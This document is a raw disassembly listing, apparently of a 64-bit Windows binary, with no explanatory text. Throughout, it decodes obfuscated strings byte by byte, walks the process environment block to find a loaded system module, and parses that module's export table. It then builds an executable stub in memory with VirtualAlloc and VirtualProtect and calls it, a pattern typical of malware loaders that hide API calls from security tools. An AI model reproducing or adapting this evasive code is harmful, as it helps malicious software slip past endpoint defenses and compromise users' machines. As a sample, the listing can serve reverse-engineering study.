mov byte [rbp + 0x278], al
xor eax, eax
mov byte [rbp + 0x279], al
mov edi, eax
mov r9, r15
mov r8, rdi
mov dl, byte [rbp + rdi + 0x269]
lea rcx, [rbp + 0x268]
call fcn.140037180
mov byte [rbp + rdi + 0x269], al
add rdi, rbx
cmp rdi, r15
jb 0x140021579
xor edi, edi
mov byte [rbp + 0x279], dil
lea rcx, [rbp + 0x269]
call fcn.14001bf20
mov qword [rbp + 0xd70], rdi
mov dword [rbp + 0xe08], gethostname
mov qword [rbp + 0xe10], rdi
mov dword [rbp + 0xe20], edi
mov qword [rbp + 0xe18], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xe28], xmm0
mov eax, dword [rbp - 0x60]
mov qword [rbp + 0xdf8], rax
mov qword [rbp + 0xe00], rdi
mov byte [rbp + 0x238], 0x56
mov r9, r12
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x238]
call fcn.140037090
mov byte [rbp + 0x239], al
mov r9, r12
mov r14, rbx
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x238]
call fcn.140037090
mov byte [rbp + 0x23a], al
mov r9, r12
lea r8d, [rdi + 2]
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x238]
call fcn.140037090
mov byte [rbp + 0x23b], al
mov r9, r12
lea r8d, [rdi + 3]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x238]
call fcn.140037090
mov byte [rbp + 0x23c], al
mov r9, r12
lea r8d, [rdi + 4]
mov dl, 0x65
lea rcx, [rbp + 0x238]
call fcn.140037090
mov byte [rbp + 0x23d], al
mov r9, r12
lea r8d, [rdi + 5]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x238]
call fcn.140037090
mov byte [rbp + 0x23e], al
mov r9, r12
lea r8d, [rdi + 6]
mov dl, 0x50
lea rcx, [rbp + 0x238]
call fcn.140037090
mov byte [rbp + 0x23f], al
mov r9, r12
lea r8d, [rdi + 7]
mov dl, WSAStartup
lea rcx, [rbp + 0x238]
call fcn.140037090
mov byte [rbp + 0x240], al
mov r9, r12
lea r8d, [rdi + 8]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x238]
call fcn.140037090
mov byte [rbp + 0x241], al
mov r9, r12
lea r8d, [rdi + 9]
mov dl, 0x63
lea rcx, [rbp + 0x238]
call fcn.140037090
mov byte [rbp + 0x242], al
mov r9, r12
lea r8d, [rdi + 0xa]
mov dl, 0x65
lea rcx, [rbp + 0x238]
call fcn.140037090
mov byte [rbp + 0x243], al
mov r9, r12
lea r8d, [rdi + 0xb]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x238]
call fcn.140037090
mov byte [rbp + 0x244], al
mov r9, r12
lea r8d, [rdi + 0xc]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x238]
call fcn.140037090
mov byte [rbp + 0x245], al
xor eax, eax
mov byte [rbp + 0x246], al
lea ebx, [rdi + 0x11]
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi + 0x239]
lea rcx, [rbp + 0x238]
call fcn.140037090
mov byte [rbp + rdi + 0x239], al
add rdi, r14
cmp rdi, r12
jb 0x140021769
xor edi, edi
mov byte [rbp + 0x246], dil
mov byte [rbp + 0x130], reloc.WS2_32.dll_WSAGetLastError
lea r14d, [rdi + 9]
mov r9d, r14d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x130]
call fcn.140037108
mov byte [rbp + 0x131], al
mov r9d, r14d
lea r15d, [rdi + 1]
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x130]
call fcn.140037108
mov byte [rbp + 0x132], al
mov r9d, r14d
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x130]
call fcn.140037108
mov byte [rbp + 0x133], al
mov r9d, r14d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x130]
call fcn.140037108
mov byte [rbp + 0x134], al
mov r9d, r14d
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x130]
call fcn.140037108
mov byte [rbp + 0x135], al
mov r9d, r14d
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x130]
call fcn.140037108
mov byte [rbp + 0x136], al
mov r9d, r14d
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x130]
call fcn.140037108
mov byte [rbp + 0x137], al
mov r9d, r14d
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x130]
call fcn.140037108
mov byte [rbp + 0x138], al
mov r9d, r14d
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x130]
call fcn.140037108
mov byte [rbp + 0x139], al
xor eax, eax
mov byte [rbp + 0x13a], al
lea r14d, [rdi + 0x20]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x131]
lea rcx, [rbp + 0x130]
call fcn.140037108
mov byte [rbp + rdi + 0x131], al
add rdi, r15
cmp rdi, 9
jb 0x1400218a6
xor r9d, r9d
mov byte [rbp + 0x13a], r9b
mov rax, qword gs:[0x60]
test rax, rax
lea r15d, [r9 + 0x10]
je 0x140021c1e
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x38], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x58], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rdi, eax
xor eax, eax
mov r12d, eax
lea rcx, [rdi + 1]
call fcn.140096274
mov r9, rax
mov qword [rsp + 0x68], rax
xor eax, eax
mov edx, eax
test edi, edi
jle 0x140021965
lea r11d, [rax + 1]
mov r8d, r11d
mov rsi, qword [rbp - 0x58]
mov ecx, r8d
cmp word [rsi + rdx*2], 0x5c
cmovne ecx, r12d
mov r12d, ecx
mov al, byte [rsi + rdx*2]
mov byte [r9 + rdx], al
add r8d, r11d
add rdx, r11
cmp rdx, rdi
jl 0x14002193f
mov esi, reloc.WS2_32.dll_sendto
sub edi, r12d
movsxd rdi, edi
movsxd rdx, r12d
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rsp + 0x68]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rbp - 0x58], r10
je 0x1400219bf
mov rax, rcx
lea r9, [rbp + 0x131]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x1400219b8
add rax, r11
test edx, edx
jne 0x1400219a3
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
xor r9d, r9d
test dil, dil
jne 0x1400219e6
mov rax, qword [rbp - 0x38]
mov rax, qword [rax]
mov qword [rbp - 0x38], rax
cmp rax, qword [rbp - 0x78]
jne 0x140021902
jmp 0x140021c18
mov rcx, qword [rbp - 0x38]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140021c18
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140021c18
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140021c18
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140021c18
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov r12d, dword [rax + 0x24]
add r12, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x140021c18
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x239]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140021a75
inc rax
test edi, edi
jne 0x140021a60
test r8d, r8d
je 0x140021a89
inc rdx
cmp rdx, qword [rsp + 0x68]
jb 0x140021a4f
jmp 0x140021c18
movzx eax, word [r12 + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140021c18
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140021c18
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r12, rax
call fcn.140095f90
or dword [rbp + 0xad34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x99b0]
call fcn.14003804c
lea rcx, [rbp + 0x99b0]
call fcn.140037a64
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor eax, eax
mov r13d, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x99b0]
call fcn.140037a64
mov eax, eax
mov qword [rbp + r13*8 + 0x38550], rax
add r13, rbx
cmp r13, 0x200
jl 0x140021b25
mov ebx, 0x1000
mov r8d, ebx
lea rdx, [rbp + 0x38550]
mov rcx, r12
call fcn.1400bd800
mov eax, dword [rsp + 0x60]
mov dword [0x1400f1364], eax
add rdi, r12
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor r13d, r13d
mov dword [rbp + 0xf08], r13d
lea r9, [rbp + 0xf08]
mov r8d, r14d
mov edx, ebx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xdf8]
lea r8, [rbp + 0xe08]
mov edx, 0x1fffff
lea rcx, [rbp + 0xd70]
call rdi
mov edi, eax
lea r9, [rbp + 0xf08]
mov r8d, dword [rbp + 0xf08]
mov edx, ebx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, ebx
xor edx, edx
mov rcx, r12
call fcn.1400bdea0
lea edx, [r13 + 0xb]
mov r8d, 0x8000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400f1364], r13d
test edi, edi
lea ebx, [r13 + 0x11]
lea r13d, [rbx + 6]
js 0x1400360ed
mov r12d, reloc.WS2_32.dll_listen
mov rax, qword [rbp + 0xd70]
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x1400360ed
lea rdi, [rbp + 0x28330]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x28330]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor edi, edi
test eax, eax
jne 0x1400222e9
mov word [rbp + 0x420], 0xfe25
mov r9, rbx
lea r8d, [rdi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x420]
call fcn.1400371f8
mov byte [rbp + 0x422], al
mov r9, rbx
lea r8d, [rdi + 2]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x420]
call fcn.1400371f8
mov byte [rbp + 0x423], al
mov r9, rbx
lea r8d, [rdi + 3]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x420]
call fcn.1400371f8
mov byte [rbp + 0x424], al
mov r9, rbx
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x420]
call fcn.1400371f8
mov byte [rbp + 0x425], al
mov r9, rbx
lea r8d, [rdi + 5]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x420]
call fcn.1400371f8
mov byte [rbp + 0x426], al
mov r9, rbx
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x420]
call fcn.1400371f8
mov byte [rbp + 0x427], al
mov r9, rbx
lea r8d, [rdi + 7]
mov dl, 0x61
lea rcx, [rbp + 0x420]
call fcn.1400371f8
mov byte [rbp + 0x428], al
mov r9, rbx
lea r8d, [rdi + 8]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x420]
call fcn.1400371f8
mov byte [rbp + 0x429], al
mov r9, rbx
lea r8d, [rdi + 9]
mov dl, r14b
lea rcx, [rbp + 0x420]
call fcn.1400371f8
mov byte [rbp + 0x42a], al
mov r9, rbx
lea r8d, [rdi + 0xa]
mov dl, 0x46
lea rcx, [rbp + 0x420]
call fcn.1400371f8
mov byte [rbp + 0x42b], al
mov r9, rbx
lea r8d, [rdi + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x420]
call fcn.1400371f8
mov byte [rbp + 0x42c], al
mov r9, rbx
lea r8d, [rdi + 0xc]
mov dl, 0x69
lea rcx, [rbp + 0x420]
call fcn.1400371f8
mov byte [rbp + 0x42d], al
mov r9, rbx
mov r8, r12
mov dl, 0x6c
lea rcx, [rbp + 0x420]
call fcn.1400371f8
mov byte [rbp + 0x42e], al
mov r9, rbx
lea r8d, [rdi + 0xe]
mov dl, 0x75
lea rcx, [rbp + 0x420]
call fcn.1400371f8
mov byte [rbp + 0x42f], al
mov r9, rbx
lea r8d, [rdi + 0xf]
mov dl, WSAStartup
lea rcx, [rbp + 0x420]
call fcn.1400371f8
mov byte [rbp + 0x430], al
mov r9, rbx
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0x420]
call fcn.1400371f8
mov byte [rbp + 0x431], al
xor eax, eax
mov byte [rbp + 0x432], al
mov r8d, edi
mov r9, rbx
lea r10d, [rdi + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x420]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x420]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x421], dil
add r8, r10
add r9, rbx
cmp r9, 0x132
jb 0x140021e35
xor eax, eax
mov byte [rbp + 0x432], al
mov word [rbp + 0x930], 0x1377
lea edi, [rax + 0x22]
mov r9d, edi
mov r8, r10
mov dl, 0x61
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x932], al
mov r9d, edi
lea r8d, [rdi - 0x20]
mov dl, 0x69
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x933], al
mov r9d, edi
lea r8d, [rdi - 0x1f]
mov dl, 0x6c
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x934], al
mov r9d, edi
lea r8d, [rdi - 0x1e]
mov dl, 0x65
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x935], al
mov r9d, edi
lea r8d, [rdi - 0x1d]
mov dl, 0x64
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x936], al
mov r9d, edi
lea r8d, [rdi - 0x1c]
mov dl, r14b
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x937], al
mov r9d, edi
lea r8d, [rdi - 0x1b]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x938], al
mov r9d, edi
lea r8d, [rdi - 0x1a]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x939], al
mov r9d, edi
lea r8d, [rdi - 0x19]
mov dl, r14b
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x93a], al
mov r9d, edi
lea r8d, [rdi - 0x18]
mov dl, 0x51
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x93b], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, 0x75
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x93c], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, 0x65
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x93d], al
mov r9d, edi
mov r8, r12
mov dl, WSAStartup
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x93e], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, 0x79
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x93f], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, r14b
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x940], al
mov r9d, edi
mov r8, r15
mov dl, 0x4d
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x941], al
mov r9d, edi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x942], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, 0x64
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x943], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x75
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x944], al
mov r9d, edi
mov r8, rsi
mov dl, 0x6c
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x945], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x65
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x946], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, r14b
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x947], al
mov r9d, edi
mov r8, r13
mov dl, 0x49
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x948], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x949], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x66
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x94a], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x94b], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, WSAStartup
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x94c], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, 0x6d
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x94d], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x61
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x94e], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x94f], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x69
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x950], al
mov r9d, edi
mov r8, r14
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x951], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x930]
call fcn.140038770
mov byte [rbp + 0x952], al
xor eax, eax
mov byte [rbp + 0x953], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x21]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x930]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x22]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x930]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x931], dil
add r8, rbx
add r9, 0x22
cmp r9, 0x4a6
jb 0x140022250
mov byte [rbp + 0x953], r10b
xor r9d, r9d
lea r8, [rbp + 0x421]
lea rdx, [rbp + 0x931]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009cf48
int3
mov rax, qword [rbp + 0xd70]
mov qword [rsp + 0x78], rax
mov qword [rbp + 0xdc8], rdi
mov qword [rbp + 0xfb0], 0x1000
mov byte [rbp + 0x740], reloc.WLDAP32.dll_Ordinal_22
mov r9, r13
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x740]
call fcn.1400379ec
mov byte [rbp + 0x741], al
mov r9, r13
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x740]
call fcn.1400379ec
mov byte [rbp + 0x742], al
mov r9, r13
mov r8d, 2
mov dl, 0x41
lea rcx, [rbp + 0x740]
call fcn.1400379ec
mov byte [rbp + 0x743], al
mov r9, r13
mov r8d, 3
mov dl, 0x6c
lea rcx, [rbp + 0x740]
call fcn.1400379ec
mov byte [rbp + 0x744], al
mov r9, r13
mov r8d, 4
mov dl, 0x6c
lea rcx, [rbp + 0x740]
call fcn.1400379ec
mov byte [rbp + 0x745], al
mov r9, r13
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x740]
call fcn.1400379ec
mov byte [rbp + 0x746], al
mov r9, r13
mov r8d, 6
mov dl, 0x63
lea rcx, [rbp + 0x740]
call fcn.1400379ec
mov byte [rbp + 0x747], al
mov r9, r13
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x740]
call fcn.1400379ec
mov byte [rbp + 0x748], al
mov r9, r13
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x740]
call fcn.1400379ec
mov byte [rbp + 0x749], al
mov r9, r13
mov r8d, 9
mov dl, 0x65
lea rcx, [rbp + 0x740]
call fcn.1400379ec
mov byte [rbp + 0x74a], al
mov r9, r13
mov r8d, 0xa
mov dl, 0x56
lea rcx, [rbp + 0x740]
call fcn.1400379ec
mov byte [rbp + 0x74b], al
mov r9, r13
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x740]
call fcn.1400379ec
mov byte [rbp + 0x74c], al
mov r9, r13
mov r8d, ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x740]
call fcn.1400379ec
mov byte [rbp + 0x74d], al
mov r9, r13
mov r8, r12
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x740]
call fcn.1400379ec
mov byte [rbp + 0x74e], al
mov r9, r13
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x740]
call fcn.1400379ec
mov byte [rbp + 0x74f], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x61
lea rcx, [rbp + 0x740]
call fcn.1400379ec
mov byte [rbp + 0x750], al
mov r9, r13
mov r8, r15
mov dl, 0x6c
lea rcx, [rbp + 0x740]
call fcn.1400379ec
mov byte [rbp + 0x751], al
mov r9, r13
mov r8, rbx
mov dl, 0x4d
lea rcx, [rbp + 0x740]
call fcn.1400379ec
mov byte [rbp + 0x752], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_select
mov dl, 0x65
lea rcx, [rbp + 0x740]
call fcn.1400379ec
mov byte [rbp + 0x753], al
mov r9, r13
mov r12d, reloc.WS2_32.dll_send
mov r8d, r12d
mov dl, 0x6d
lea rcx, [rbp + 0x740]
call fcn.1400379ec
mov byte [rbp + 0x754], al
mov r9, r13
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x740]
call fcn.1400379ec
mov byte [rbp + 0x755], al
mov r9, r13
lea r8d, [r12 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x740]
call fcn.1400379ec
mov byte [rbp + 0x756], al
mov r9, r13
lea r8d, [r12 + 3]
mov dl, 0x79
lea rcx, [rbp + 0x740]
call fcn.1400379ec
mov byte [rbp + 0x757], al
xor eax, eax
mov byte [rbp + 0x758], al
lea ebx, [rax + 1]
mov r9, r13
mov r8, rdi
mov dl, byte [rbp + rdi + 0x741]
lea rcx, [rbp + 0x740]
call fcn.1400379ec
mov byte [rbp + rdi + 0x741], al
add rdi, rbx
cmp rdi, r13
jb 0x1400225a6
xor edi, edi
mov byte [rbp + 0x758], dil
mov byte [rbp + 0x160], r14b
lea ebx, [rdi + 9]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x160]
call fcn.140037108
mov byte [rbp + 0x161], al
mov r9d, ebx
lea r15d, [rdi + 1]
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x160]
call fcn.140037108
mov byte [rbp + 0x162], al
mov r9d, ebx
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x160]
call fcn.140037108
mov byte [rbp + 0x163], al
mov r9d, ebx
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x160]
call fcn.140037108
mov byte [rbp + 0x164], al
mov r9d, ebx
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x160]
call fcn.140037108
mov byte [rbp + 0x165], al
mov r9d, ebx
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x160]
call fcn.140037108
mov byte [rbp + 0x166], al
mov r9d, ebx
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x160]
call fcn.140037108
mov byte [rbp + 0x167], al
mov r9d, ebx
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x160]
call fcn.140037108
mov byte [rbp + 0x168], al
mov r9d, ebx
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x160]
call fcn.140037108
mov byte [rbp + 0x169], al
xor eax, eax
mov byte [rbp + 0x16a], al
lea ebx, [rdi + 0x11]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x161]
lea rcx, [rbp + 0x160]
call fcn.140037108
mov byte [rbp + rdi + 0x161], al
add rdi, r15
cmp rdi, 9
jb 0x1400226e1
xor r9d, r9d
mov byte [rbp + 0x16a], r9b
mov rax, qword gs:[0x60]
test rax, rax
lea r15d, [r9 + 0x10]
je 0x140022a9f
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x38], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x58], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x70], ecx
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rsp + 0x68], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x1400227b2
lea r13d, [rax + 1]
mov r10d, r13d
mov rsi, qword [rbp - 0x58]
mov ecx, r10d
cmp word [rsi + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + rdx*2]
mov byte [r9 + rdx], al
add r10d, r13d
add rdx, r13
cmp rdx, r8
jl 0x140022786
mov esi, reloc.WS2_32.dll_sendto
lea r13d, [rsi + 3]
mov dword [rsp + 0x70], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x70]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rsp + 0x68]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rbp - 0x58], r10
je 0x14002280e
mov rax, rcx
lea r9, [rbp + 0x161]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140022807
add rax, r11
test edx, edx
jne 0x1400227f2
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
xor r9d, r9d
test dil, dil
jne 0x140022835
mov rax, qword [rbp - 0x38]
mov rax, qword [rax]
mov qword [rbp - 0x38], rax
cmp rax, qword [rbp - 0x78]
jne 0x14002273d
jmp 0x140022a9f
mov rcx, qword [rbp - 0x38]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140022a9f
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140022a9f
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140022a9f
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140022a9f
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x58], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x140022a9f
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x741]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400228c7
inc rax
test edi, edi
jne 0x1400228b2
xor r9d, r9d
test r8d, r8d
je 0x1400228de
inc rdx
cmp rdx, qword [rsp + 0x68]
jb 0x1400228a1
jmp 0x140022a9f
mov rax, qword [rbp - 0x58]
